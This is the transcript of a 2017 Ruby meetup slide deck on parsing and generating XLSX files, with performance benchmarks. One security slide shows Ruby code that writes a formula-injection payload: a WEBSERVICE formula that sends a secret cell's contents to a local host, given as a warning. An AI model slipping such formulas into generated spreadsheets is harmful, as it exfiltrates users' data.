Upgrade to Pro — share decks privately, control downloads, hide ads and more …

XLSX in Ruby. RRUG #9

Ba17945a06aac247b06548d5afe341e8?s=47 mrzasa
October 12, 2017

XLSX in Ruby. RRUG #9

Handling XLSX files in ruby - parsing, generating; efficiency and security.
Slides from presentation during Rzeszów Ruby User Group meetup.

Ba17945a06aac247b06548d5afe341e8?s=128

mrzasa

October 12, 2017
Tweet

More Decks by mrzasa

Other Decks in Programming

Transcript

  1. XLSX IN RUBY XLSX IN RUBY MACIEK RZĄSA, MACIEK RZĄSA,

    Rzeszów Ruby User Group, 12.10.2017 @MJRZASA @MJRZASA
  2. WHY XLSX? WHY XLSX?

  3. INTERNALS INTERNALS $ unzip -l 10-shared-true.xlsx Archive: 10-shared-true.xlsx Length Date

    Time Name --------- ---------- ----- ---- 1944 2017-10-12 01:07 xl/worksheets/sheet1.xml 313 2017-10-12 01:07 xl/workbook.xml 1090 2017-10-12 01:07 xl/styles.xml 1439 2017-10-12 01:07 xl/sharedStrings.xml 566 2017-10-12 01:07 xl/_rels/workbook.xml.rels 297 2017-10-12 01:07 _rels/.rels 817 2017-10-12 01:07 [Content_Types].xml --------- ------- 6466 7 files
  4. xl/worksheets/sheet1.xml

  5. PARSING PARSING roo creek rubyXL

  6. PARSING EXAMPLE PARSING EXAMPLE sheet = Roo::Excelx.new(path) sheet.cell(1,1) sheet.cell('A',1) sheet.cell(1,'A')

    sheet.a1 cells = sheet.sheet_for(sheet.sheets.first).cells data = sheet.header_line.upto(sheet.last_row).map do |row| [cells[[row, 1]]), cells[[row, 2]]] end
  7. PARSING PERFORMANCE PARSING PERFORMANCE source:spin.atomicobject.com

  8. GENERATING GENERATING axlsx xlsxtream

  9. AXLSX AXLSX Axlsx::Package.new.tap do |p| p.workbook.add_worksheet(name: 'Test') do |sheet| data.each

    do |row| sheet.add_row(row) end end p.use_shared_strings = true p.serialize(path) end
  10. XLSXTREAM XLSXTREAM Xlsxtream::Workbook.open(path, use_shared_strings: true) do |xlsx| xlsx.write_worksheet "Test" do

    |sheet| data.each do |row| sheet << row end end end
  11. PERFORMANCE PERFORMANCE

  12. None
  13. XLSX/CSV MEMORY XLSX/CSV MEMORY [csv]10 25847 allocated [csv]100 62069 allocated

    - 2.40x more [stream]10 77358 allocated - 2.99x more [stream]100 273694 allocated - 10.59x more [csv]1000 424315 allocated - 16.42x more [axlsx]10 527579 allocated - 20.41x more [axlsx]100 1528683 allocated - 59.14x more [stream]1000 1927186 allocated - 74.56x more [csv]10000 4046771 allocated - 156.57x more [axlsx]1000 11062251 allocated - 427.99x more [stream]10_000 17440784 allocated - 674.77x more [axlsx]10_000 104650749 allocated - 4048.85x more
  14. XLSX/CSV GENERATION TIME XLSX/CSV GENERATION TIME

  15. SECURITY SECURITY let's try it require 'axlsx' Axlsx::Package.new.tap do |p|

    p.workbook.add_worksheet(name: 'Test') do |s| s.add_row(['Secret client data']) s.add_row(['=1+2', '=WEBSERVICE(CONCAT ("http://localhost:4567/", "'", A1, "'"))' ]) end p.serialize('out/injection-axlsx.xlsx') end
  16. CAN WE AVOID USING XLSX? CAN WE AVOID USING XLSX?

  17. SOURCES SOURCES https://spin.atomicobject.com/2017/03/22/parsing-ex ruby/ https://stackover�ow.com/q/3321011/580346 https://stackover�ow.com/q/40804944/580346 https://pentestmag.com/formula-injection/ https://twitter.com/owickstrom/status/91766512471